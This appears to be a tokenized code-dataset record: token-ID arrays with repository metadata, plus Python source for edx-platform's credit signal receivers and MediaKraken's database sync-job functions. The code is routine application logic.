507, 198, 10606, 63, 1494, 63, 1508, 480, 6005, 370, 20366, 298, 435, 2630, 63, 1494, 63, 694, 63, 1391, 9, 421, 198, 1107, 199, 199, 318, 15288, 63, 1494, 63, 1506, 63, 4161, 63, 2613, 8, 4991, 63, 1494, 63, 694, 63, 1391, 12, 2630, 63, 1494, 63, 354, 304, 199, 198, 2966, 2630, 63, 1494, 63, 719, 199, 198, 2966, 2630, 63, 1494, 63, 826, 63, 719, 199, 198, 1436, 275, 3087, 421, 198, 70, 275, 2630, 63, 1494, 63, 694, 63, 1391, 435, 10609, 435, 2630, 63, 1494, 63, 354, 435, 2668, 1095, 14, 72, 2, 199, 198, 1361, 298, 16646, 570, 26, 298, 435, 289, 421, 198, 80, 275, 1551, 8, 70, 12, 283, 87, 11339, 199, 198, 692, 440, 299, 26, 507, 198, 10606, 63, 1494, 63, 1508, 480, 6005, 370, 1551, 570, 26, 298, 435, 289, 9, 421, 198, 1436, 275, 5426, 4640, 298, 435, 2630, 63, 1494, 63, 354, 14, 4142, 342, 435, 2668, 4612, 198, 4451, 86, 16, 14, 17, 13356, 78, 2, 199, 198, 1436, 847, 5426, 4640, 298, 435, 2630, 63, 1494, 63, 354, 14, 4142, 342, 435, 2668, 22168, 198, 708, 60, 78, 2, 199, 198, 1436, 847, 1867, 78, 2, 199, 198, 1436, 847, 298, 1820, 298, 435, 2630, 63, 1494, 63, 354, 435, 2668, 7745, 9459, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 14161, 13064, 32612, 3747, 10977, 2812, 367, 20934, 21412, 707, 653, 719, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 85, 772, 302, 719, 63, 25944, 3779, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 10485, 7871, 30415, 9060, 367, 20934, 21412, 707, 653, 719, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 1560, 302, 719, 63, 354, 905, 435, 2630, 63, 1494, 63, 354, 14, 4142, 342, 435, 2668, 22168, 22842, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 19907, 701, 298, 435, 2630, 63, 1494, 63, 354, 435, 2668, 1875, 63, 23964, 342, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 1820, 542, 63, 932, 63, 5853, 542, 63, 932, 63, 5853, 3779, 78, 2, 199, 198, 1436, 847, 18262, 78, 2, 199, 198, 1436, 847, 1867, 78, 2, 199, 198, 1436, 847, 298, 1820, 298, 435, 2630, 63, 1494, 63, 354, 435, 2668, 5249, 9459, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 20934, 27167, 1347, 18428, 1572, 1947, 367, 28526, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 85, 975, 27167, 63, 28552, 3779, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 28833, 1771, 370, 298, 435, 2630, 63, 1494, 63, 354, 435, 2668, 25623, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 1820, 298, 435, 2630, 63, 1494, 63, 354, 435, 2668, 25623, 627, 25623, 3779, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 19907, 701, 298, 435, 2630, 63, 1494, 63, 354, 435, 2668, 1875, 63, 5249, 342, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 1820, 542, 63, 8707, 63, 923, 542, 63, 5249, 3779, 78, 2, 199, 198, 1436, 847, 18262, 78, 2, 199, 198, 1436, 847, 1867, 78, 2, 199, 198, 1436, 847, 298, 1820, 298, 435, 2630, 63, 1494, 63, 354, 435, 2668, 25623, 9459, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 17822, 4113, 314, 27167, 365, 13070, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 85, 24, 27167, 63, 2625, 63, 344, 3779, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 14161, 13064, 32612, 3747, 10977, 2812, 367, 20934, 10256, 491, 719, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 85, 772, 27167, 63, 25944, 3779, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 10485, 7871, 30415, 9060, 367, 20934, 10256, 491, 719, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 1560, 27167, 63, 354, 905, 435, 2630, 63, 1494, 63, 354, 14, 4142, 342, 435, 2668, 22168, 22842, 78, 2, 199, 198, 1436, 847, 298, 198, 6331, 19907, 701, 298, 435, 2630, 63, 1494, 63, 354, 435, 2668, 1875, 63, 25623, 342, 9399, 78, 2, 199, 198, 1436, 847, 298, 198, 1820, 542, 63, 10988, 27167, 63, 10988, 3779, 78, 2, 199, 198, 1436, 847, 18262, 78, 2, 421, 198, 3292, 275, 299, 14, 952, 8, 1436, 9, 199, 198, 692, 2203, 26, 507, 198, 10606, 63, 1494, 63, 1508, 480, 6005, 370, 2218, 289, 26, 298, 435, 289, 9, 421, 198, 80, 14, 1600, 342, 421, 198, 4991, 63, 1494, 63, 719, 275, 298, 25623, 2, 199, 198, 4991, 63, 1494, 63, 826, 63, 719, 275, 298, 78, 719, 2, 421, 198, 1107, 199, 199, 318, 15288, 63, 1494, 63, 1506, 63, 15319, 63, 2613, 8, 4991, 63, 1494, 63, 694, 63, 1391, 12, 2630, 63, 1494, 63, 354, 304, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Kalyzee/edx-platform
openedx/core/djangoapps/credit/signals.py
79
3915
""" This file contains receivers of course publication signals. """ import logging from django.dispatch import receiver from django.utils import timezone from opaque_keys.edx.keys import CourseKey from openedx.core.djangoapps.signals.signals import GRADES_UPDATED from openedx.core.djangoapps.credit.verification_access import update_verification_partitions from xmodule.modulestore.django import SignalHandler log = logging.getLogger(__name__) def on_course_publish(course_key): """ Will receive a delegated 'course_published' signal from cms/djangoapps/contentstore/signals.py and kick off a celery task to update the credit course requirements. IMPORTANT: It is assumed that the edx-proctoring subsystem has been appropriate refreshed with any on_publish event workflow *BEFORE* this method is called. """ # Import here, because signal is registered at startup, but items in tasks # are not yet able to be loaded from openedx.core.djangoapps.credit import api, tasks if api.is_credit_course(course_key): tasks.update_credit_course_requirements.delay(unicode(course_key)) log.info(u'Added task to update credit requirements for course "%s" to the task queue', course_key) @receiver(SignalHandler.pre_publish) def on_pre_publish(sender, course_key, **kwargs): # pylint: disable=unused-argument """ Create user partitions for verification checkpoints. This is a pre-publish step since we need to write to the course descriptor. """ from openedx.core.djangoapps.credit import api if api.is_credit_course(course_key): # For now, we are tagging content with in-course-reverification access groups # only in credit courses on publish. In the long run, this is not where we want to put this. # This really should be a transformation on the course structure performed as a pre-processing # step by the LMS, and the transformation should be owned by the verify_student app. # Since none of that infrastructure currently exists, we're doing it this way instead. log.info(u"Starting to update in-course reverification access rules") update_verification_partitions(course_key) log.info(u"Finished updating in-course reverification access rules") @receiver(GRADES_UPDATED) def listen_for_grade_calculation(sender, username, grade_summary, course_key, deadline, **kwargs): # pylint: disable=unused-argument """Receive 'MIN_GRADE_REQUIREMENT_STATUS' signal and update minimum grade requirement status. Args: sender: None username(string): user name grade_summary(dict): Dict containing output from the course grader course_key(CourseKey): The key for the course deadline(datetime): Course end date or None Kwargs: kwargs : None """ # This needs to be imported here to avoid a circular dependency # that can cause syncdb to fail. from openedx.core.djangoapps.credit import api course_id = CourseKey.from_string(unicode(course_key)) is_credit = api.is_credit_course(course_id) if is_credit: requirements = api.get_credit_requirements(course_id, namespace='grade') if requirements: criteria = requirements[0].get('criteria') if criteria: min_grade = criteria.get('min_grade') if grade_summary['percent'] >= min_grade: reason_dict = {'final_grade': grade_summary['percent']} api.set_credit_requirement_status( username, course_id, 'grade', 'grade', status="satisfied", reason=reason_dict ) elif deadline and deadline < timezone.now(): api.set_credit_requirement_status( username, course_id, 'grade', 'grade', status="failed", reason={} )
agpl-3.0
[ 624, 199, 2765, 570, 3509, 13035, 83, 402, 2518, 31997, 10166, 14, 199, 624, 199, 199, 646, 2050, 199, 199, 504, 1639, 14, 6052, 492, 13035, 199, 504, 1639, 14, 1208, 492, 7137, 199, 504, 15058, 63, 1612, 14, 8268, 14, 1612, 492, 22574, 199, 199, 504, 22709, 14, 1018, 14, 16432, 14, 10458, 14, 10458, 492, 598, 19662, 654, 63, 23612, 1149, 199, 504, 22709, 14, 1018, 14, 16432, 14, 9365, 14, 16257, 63, 2732, 492, 1678, 63, 16257, 63, 12553, 199, 504, 9872, 14, 10012, 14, 1176, 492, 18288, 2461, 421, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 318, 641, 63, 1972, 63, 4763, 8, 1972, 63, 498, 304, 272, 408, 272, 12823, 9128, 282, 29598, 283, 1972, 63, 8987, 7, 4673, 687, 19240, 15, 16432, 15, 28160, 15, 10458, 14, 647, 272, 436, 29898, 2331, 282, 22748, 2120, 370, 1678, 314, 16630, 2518, 9760, 14, 339, 5025, 2596, 1441, 26, 2779, 365, 10826, 626, 314, 22435, 13, 496, 630, 316, 1007, 2253, 965, 2757, 5827, 9236, 379, 272, 543, 1263, 641, 63, 4763, 1566, 10431, 627, 31481, 10, 642, 1083, 365, 2797, 14, 272, 408, 339, 327, 3161, 2348, 12, 2952, 4673, 365, 7264, 737, 14210, 12, 1325, 2974, 315, 6527, 272, 327, 787, 440, 5966, 7688, 370, 506, 6511, 272, 687, 22709, 14, 1018, 14, 16432, 14, 9365, 492, 2986, 12, 6527, 339, 340, 2986, 14, 374, 63, 9365, 63, 1972, 8, 1972, 63, 498, 304, 267, 6527, 14, 873, 63, 9365, 63, 1972, 63, 7538, 14, 5814, 8, 2975, 8, 1972, 63, 498, 430, 267, 943, 14, 815, 8, 85, 7, 20201, 2120, 370, 1678, 16630, 9760, 367, 2518, 2071, 83, 2, 370, 314, 2120, 4126, 297, 2518, 63, 498, 9, 421, 199, 32, 10244, 8, 11274, 2461, 14, 657, 63, 4763, 9, 199, 318, 641, 63, 657, 63, 4763, 8, 8114, 12, 2518, 63, 498, 12, 1011, 958, 304, 221, 327, 4287, 26, 3507, 29, 8618, 13, 2094, 272, 408, 272, 2790, 922, 16394, 367, 14786, 1104, 3438, 14, 339, 961, 365, 282, 876, 13, 4763, 3650, 3967, 781, 1929, 370, 2218, 370, 314, 2518, 5872, 14, 272, 408, 272, 687, 22709, 14, 1018, 14, 16432, 14, 9365, 492, 2986, 272, 340, 2986, 14, 374, 63, 9365, 63, 1972, 8, 1972, 63, 498, 304, 267, 327, 2104, 3063, 12, 781, 787, 1947, 1540, 1564, 543, 315, 13, 1972, 13, 264, 16257, 2879, 4652, 267, 327, 1454, 315, 16630, 13588, 641, 2780, 14, 221, 1010, 314, 1846, 1255, 12, 642, 365, 440, 2382, 781, 2934, 370, 5324, 642, 14, 267, 327, 961, 7710, 1077, 506, 282, 13315, 641, 314, 2518, 5523, 10585, 465, 282, 876, 13, 6338, 267, 327, 3650, 701, 314, 27540, 12, 436, 314, 13315, 1077, 506, 23191, 701, 314, 4911, 63, 5500, 1145, 14, 267, 327, 9336, 7179, 402, 626, 28890, 6976, 5544, 3495, 12, 781, 3984, 9689, 652, 642, 4340, 3140, 14, 267, 943, 14, 815, 8, 85, 2, 14139, 370, 1678, 315, 13, 1972, 295, 16257, 2879, 4713, 531, 267, 1678, 63, 16257, 63, 12553, 8, 1972, 63, 498, 9, 267, 943, 14, 815, 8, 85, 2, 13430, 12928, 315, 13, 1972, 295, 16257, 2879, 4713, 531, 421, 199, 32, 10244, 8, 3975, 1554, 654, 63, 23612, 1149, 9, 199, 318, 6938, 63, 509, 63, 4523, 63, 31458, 8, 8114, 12, 3434, 12, 16183, 63, 4705, 12, 2518, 63, 498, 12, 23081, 12, 1011, 958, 304, 221, 327, 4287, 26, 3507, 29, 8618, 13, 2094, 272, 408, 14235, 283, 4896, 63, 28594, 63, 29168, 4479, 63, 6305, 7, 4673, 436, 1678, 7481, 16183, 272, 10685, 2004, 14, 339, 3033, 26, 267, 8904, 26, 488, 267, 3434, 8, 875, 304, 922, 536, 267, 16183, 63, 4705, 8, 807, 304, 7448, 3035, 1072, 687, 314, 2518, 27741, 267, 2518, 63, 498, 8, 18806, 304, 710, 790, 367, 314, 2518, 267, 23081, 8, 2083, 304, 5531, 1284, 1434, 503, 488, 339, 1804, 87, 589, 26, 267, 2074, 520, 488, 339, 408, 272, 327, 961, 4839, 370, 506, 8439, 2348, 370, 5126, 282, 15032, 5936, 272, 327, 626, 883, 7675, 7604, 697, 370, 2449, 14, 272, 687, 22709, 14, 1018, 14, 16432, 14, 9365, 492, 2986, 339, 2518, 63, 344, 275, 22574, 14, 504, 63, 875, 8, 2975, 8, 1972, 63, 498, 430, 272, 365, 63, 9365, 275, 2986, 14, 374, 63, 9365, 63, 1972, 8, 1972, 63, 344, 9, 272, 340, 365, 63, 9365, 26, 267, 9760, 275, 2986, 14, 362, 63, 9365, 63, 7538, 8, 1972, 63, 344, 12, 3231, 534, 4523, 358, 267, 340, 9760, 26, 288, 15647, 275, 9760, 59, 16, 1055, 362, 360, 20525, 358, 288, 340, 15647, 26, 355, 1748, 63, 4523, 275, 15647, 14, 362, 360, 827, 63, 4523, 358, 355, 340, 16183, 63, 4705, 459, 7045, 418, 2356, 1748, 63, 4523, 26, 490, 4499, 63, 807, 275, 791, 5094, 63, 4523, 356, 16183, 63, 4705, 459, 7045, 12074, 490, 2986, 14, 409, 63, 9365, 63, 12434, 63, 1205, 8, 717, 3434, 12, 2518, 63, 344, 12, 283, 4523, 297, 283, 4523, 297, 2004, 628, 22878, 401, 4499, 29, 5764, 63, 807, 490, 776, 355, 916, 23081, 436, 23081, 665, 7137, 14, 2131, 837, 490, 2986, 14, 409, 63, 9365, 63, 12434, 63, 1205, 8, 717, 3434, 12, 2518, 63, 344, 12, 283, 4523, 297, 283, 4523, 297, 2004, 628, 4892, 401, 4499, 7622, 490, 776, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 2765, 570, 3509, 13035, 83, 402, 2518, 31997, 10166, 14, 199, 624, 199, 199, 646, 2050, 199, 199, 504, 1639, 14, 6052, 492, 13035, 199, 504, 1639, 14, 1208, 492, 7137, 199, 504, 15058, 63, 1612, 14, 8268, 14, 1612, 492, 22574, 199, 199, 504, 22709, 14, 1018, 14, 16432, 14, 10458, 14, 10458, 492, 598, 19662, 654, 63, 23612, 1149, 199, 504, 22709, 14, 1018, 14, 16432, 14, 9365, 14, 16257, 63, 2732, 492, 1678, 63, 16257, 63, 12553, 199, 504, 9872, 14, 10012, 14, 1176, 492, 18288, 2461, 421, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 318, 641, 63, 1972, 63, 4763, 8, 1972, 63, 498, 304, 272, 408, 272, 12823, 9128, 282, 29598, 283, 1972, 63, 8987, 7, 4673, 687, 19240, 15, 16432, 15, 28160, 15, 10458, 14, 647, 272, 436, 29898, 2331, 282, 22748, 2120, 370, 1678, 314, 16630, 2518, 9760, 14, 339, 5025, 2596, 1441, 26, 2779, 365, 10826, 626, 314, 22435, 13, 496, 630, 316, 1007, 2253, 965, 2757, 5827, 9236, 379, 272, 543, 1263, 641, 63, 4763, 1566, 10431, 627, 31481, 10, 642, 1083, 365, 2797, 14, 272, 408, 339, 327, 3161, 2348, 12, 2952, 4673, 365, 7264, 737, 14210, 12, 1325, 2974, 315, 6527, 272, 327, 787, 440, 5966, 7688, 370, 506, 6511, 272, 687, 22709, 14, 1018, 14, 16432, 14, 9365, 492, 2986, 12, 6527, 339, 340, 2986, 14, 374, 63, 9365, 63, 1972, 8, 1972, 63, 498, 304, 267, 6527, 14, 873, 63, 9365, 63, 1972, 63, 7538, 14, 5814, 8, 2975, 8, 1972, 63, 498, 430, 267, 943, 14, 815, 8, 85, 7, 20201, 2120, 370, 1678, 16630, 9760, 367, 2518, 2071, 83, 2, 370, 314, 2120, 4126, 297, 2518, 63, 498, 9, 421, 199, 32, 10244, 8, 11274, 2461, 14, 657, 63, 4763, 9, 199, 318, 641, 63, 657, 63, 4763, 8, 8114, 12, 2518, 63, 498, 12, 1011, 958, 304, 221, 327, 4287, 26, 3507, 29, 8618, 13, 2094, 272, 408, 272, 2790, 922, 16394, 367, 14786, 1104, 3438, 14, 339, 961, 365, 282, 876, 13, 4763, 3650, 3967, 781, 1929, 370, 2218, 370, 314, 2518, 5872, 14, 272, 408, 272, 687, 22709, 14, 1018, 14, 16432, 14, 9365, 492, 2986, 272, 340, 2986, 14, 374, 63, 9365, 63, 1972, 8, 1972, 63, 498, 304, 267, 327, 2104, 3063, 12, 781, 787, 1947, 1540, 1564, 543, 315, 13, 1972, 13, 264, 16257, 2879, 4652, 267, 327, 1454, 315, 16630, 13588, 641, 2780, 14, 221, 1010, 314, 1846, 1255, 12, 642, 365, 440, 2382, 781, 2934, 370, 5324, 642, 14, 267, 327, 961, 7710, 1077, 506, 282, 13315, 641, 314, 2518, 5523, 10585, 465, 282, 876, 13, 6338, 267, 327, 3650, 701, 314, 27540, 12, 436, 314, 13315, 1077, 506, 23191, 701, 314, 4911, 63, 5500, 1145, 14, 267, 327, 9336, 7179, 402, 626, 28890, 6976, 5544, 3495, 12, 781, 3984, 9689, 652, 642, 4340, 3140, 14, 267, 943, 14, 815, 8, 85, 2, 14139, 370, 1678, 315, 13, 1972, 295, 16257, 2879, 4713, 531, 267, 1678, 63, 16257, 63, 12553, 8, 1972, 63, 498, 9, 267, 943, 14, 815, 8, 85, 2, 13430, 12928, 315, 13, 1972, 295, 16257, 2879, 4713, 531, 421, 199, 32, 10244, 8, 3975, 1554, 654, 63, 23612, 1149, 9, 199, 318, 6938, 63, 509, 63, 4523, 63, 31458, 8, 8114, 12, 3434, 12, 16183, 63, 4705, 12, 2518, 63, 498, 12, 23081, 12, 1011, 958, 304, 221, 327, 4287, 26, 3507, 29, 8618, 13, 2094, 272, 408, 14235, 283, 4896, 63, 28594, 63, 29168, 4479, 63, 6305, 7, 4673, 436, 1678, 7481, 16183, 272, 10685, 2004, 14, 339, 3033, 26, 267, 8904, 26, 488, 267, 3434, 8, 875, 304, 922, 536, 267, 16183, 63, 4705, 8, 807, 304, 7448, 3035, 1072, 687, 314, 2518, 27741, 267, 2518, 63, 498, 8, 18806, 304, 710, 790, 367, 314, 2518, 267, 23081, 8, 2083, 304, 5531, 1284, 1434, 503, 488, 339, 1804, 87, 589, 26, 267, 2074, 520, 488, 339, 408, 272, 327, 961, 4839, 370, 506, 8439, 2348, 370, 5126, 282, 15032, 5936, 272, 327, 626, 883, 7675, 7604, 697, 370, 2449, 14, 272, 687, 22709, 14, 1018, 14, 16432, 14, 9365, 492, 2986, 339, 2518, 63, 344, 275, 22574, 14, 504, 63, 875, 8, 2975, 8, 1972, 63, 498, 430, 272, 365, 63, 9365, 275, 2986, 14, 374, 63, 9365, 63, 1972, 8, 1972, 63, 344, 9, 272, 340, 365, 63, 9365, 26, 267, 9760, 275, 2986, 14, 362, 63, 9365, 63, 7538, 8, 1972, 63, 344, 12, 3231, 534, 4523, 358, 267, 340, 9760, 26, 288, 15647, 275, 9760, 59, 16, 1055, 362, 360, 20525, 358, 288, 340, 15647, 26, 355, 1748, 63, 4523, 275, 15647, 14, 362, 360, 827, 63, 4523, 358, 355, 340, 16183, 63, 4705, 459, 7045, 418, 2356, 1748, 63, 4523, 26, 490, 4499, 63, 807, 275, 791, 5094, 63, 4523, 356, 16183, 63, 4705, 459, 7045, 12074, 490, 2986, 14, 409, 63, 9365, 63, 12434, 63, 1205, 8, 717, 3434, 12, 2518, 63, 344, 12, 283, 4523, 297, 283, 4523, 297, 2004, 628, 22878, 401, 4499, 29, 5764, 63, 807, 490, 776, 355, 916, 23081, 436, 23081, 665, 7137, 14, 2131, 837, 490, 2986, 14, 409, 63, 9365, 63, 12434, 63, 1205, 8, 717, 3434, 12, 2518, 63, 344, 12, 283, 4523, 297, 283, 4523, 297, 2004, 628, 4892, 401, 4499, 7622, 490, 776, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768,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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
MediaKraken/MediaKraken_Deployment
source/database/db_base_sync.py
1
3911
""" Copyright (C) 2015 Quinn D Granfor <spootdev@gmail.com> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2, as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License version 2 for more details. You should have received a copy of the GNU General Public License version 2 along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. """ import uuid def db_sync_list_count(self): """ # return count of sync jobs """ self.db_cursor.execute('select count(*) from mm_sync') return self.db_cursor.fetchone()[0] def db_sync_list(self, offset=0, records=None, user_guid=None): """ # return list of sync jobs """ # TODO by priority, name, year if user_guid is None: # complete list for admins self.db_cursor.execute('select mm_sync_guid uuid,' ' mm_sync_path,' ' mm_sync_path_to,' ' mm_sync_options_json' ' from mm_sync' ' where mm_sync_guid in (select mm_sync_guid' ' from mm_sync' ' order by mm_sync_options_json->\'Priority\'' ' desc, mm_sync_path' ' offset %s limit %s)' ' order by mm_sync_options_json->\'Priority\'' ' desc, mm_sync_path', (offset, records)) else: self.db_cursor.execute('select mm_sync_guid uuid,' ' mm_sync_path,' ' mm_sync_path_to,' ' mm_sync_options_json' ' from mm_sync' ' where mm_sync_guid in (select mm_sync_guid' ' from mm_sync' ' where mm_sync_options_json->\'User\'::text = %s' ' order by mm_sync_options_json->\'Priority\'' ' desc, mm_sync_path offset %s limit %s)' ' order by mm_sync_options_json->\'Priority\'' ' desc, mm_sync_path', (str(user_guid), offset, records)) return self.db_cursor.fetchall() def db_sync_insert(self, sync_path, sync_path_to, sync_json): """ # insert sync job """ new_guid = uuid.uuid4() self.db_cursor.execute('insert into mm_sync (mm_sync_guid,' ' mm_sync_path,' ' mm_sync_path_to,' ' mm_sync_options_json)' ' values (%s, %s, %s, %s)', (new_guid, sync_path, sync_path_to, sync_json)) self.db_commit() return new_guid def db_sync_delete(self, sync_guid): """ # delete sync job """ self.db_cursor.execute( 'delete from mm_sync' ' where mm_sync_guid = %s', (sync_guid,)) self.db_commit() def db_sync_progress_update(self, sync_guid, sync_percent): """ # update progress """ self.db_cursor.execute('update mm_sync set mm_sync_options_json->\'Progress\' = %s' ' where mm_sync_guid = %', (sync_percent, sync_guid)) self.db_commit()
gpl-3.0
[ 624, 10292, 1898, 334, 35, 9, 6900, 5843, 262, 78, 577, 598, 1312, 509, 665, 22522, 357, 2374, 32, 6799, 14, 957, 30, 25052, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 10292, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 10292, 1015, 499, 12, 465, 3267, 701, 314, 2868, 2290, 2752, 14, 25052, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 10292, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 10292, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 1666, 314, 1664, 10292, 1696, 1684, 844, 1015, 499, 367, 1655, 2436, 14, 25052, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 10292, 1015, 499, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 10292, 2290, 2752, 12, 3277, 2020, 8026, 11236, 14259, 12, 12066, 11844, 12, 8226, 12, 10292, 4828, 11315, 13, 10067, 12, 8217, 14, 202, 199, 624, 2999, 199, 646, 5377, 8065, 199, 318, 1592, 63, 5186, 63, 513, 63, 835, 8, 277, 304, 1128, 408, 1128, 327, 372, 2338, 402, 7604, 9643, 1128, 408, 1128, 291, 14, 697, 63, 3937, 14, 2526, 360, 2416, 2338, 21565, 687, 8562, 63, 5186, 358, 1128, 372, 291, 14, 697, 63, 3937, 14, 11591, 3430, 16, 61, 8065, 199, 318, 1592, 63, 5186, 63, 513, 8, 277, 12, 3268, 29, 16, 12, 5767, 29, 403, 12, 922, 63, 9473, 29, 403, 304, 1128, 408, 1128, 327, 372, 769, 402, 7604, 9643, 1128, 408, 1128, 327, 3254, 701, 7464, 12, 536, 12, 5361, 1128, 340, 922, 63, 9473, 365, 488, 26, 1039, 327, 4890, 769, 367, 4628, 83, 1039, 291, 14, 697, 63, 3937, 14, 2526, 360, 2416, 8562, 63, 5186, 63, 9473, 5377, 2584, 202, 3044, 283, 8562, 63, 5186, 63, 515, 2584, 202, 3044, 283, 8562, 63, 5186, 63, 515, 63, 475, 2584, 202, 3044, 283, 8562, 63, 5186, 63, 1419, 63, 1001, 7, 202, 3044, 283, 687, 8562, 63, 5186, 7, 202, 3044, 283, 2382, 8562, 63, 5186, 63, 9473, 315, 334, 2416, 8562, 63, 5186, 63, 9473, 7, 202, 3044, 283, 687, 8562, 63, 5186, 7, 202, 3044, 283, 1865, 701, 8562, 63, 5186, 63, 1419, 63, 1001, 13, 3072, 7, 14354, 60, 891, 202, 3044, 283, 4328, 12, 8562, 63, 5186, 63, 515, 7, 202, 3044, 283, 3268, 450, 83, 2304, 450, 83, 3171, 202, 3044, 283, 1865, 701, 8562, 63, 5186, 63, 1419, 63, 1001, 13, 3072, 7, 14354, 60, 891, 202, 3044, 283, 4328, 12, 8562, 63, 5186, 63, 515, 297, 334, 2743, 12, 5767, 430, 1128, 587, 26, 1039, 291, 14, 697, 63, 3937, 14, 2526, 360, 2416, 8562, 63, 5186, 63, 9473, 5377, 2584, 202, 3044, 283, 8562, 63, 5186, 63, 515, 2584, 202, 3044, 283, 8562, 63, 5186, 63, 515, 63, 475, 2584, 202, 3044, 283, 8562, 63, 5186, 63, 1419, 63, 1001, 7, 202, 3044, 283, 687, 8562, 63, 5186, 7, 202, 3044, 283, 2382, 8562, 63, 5186, 63, 9473, 315, 334, 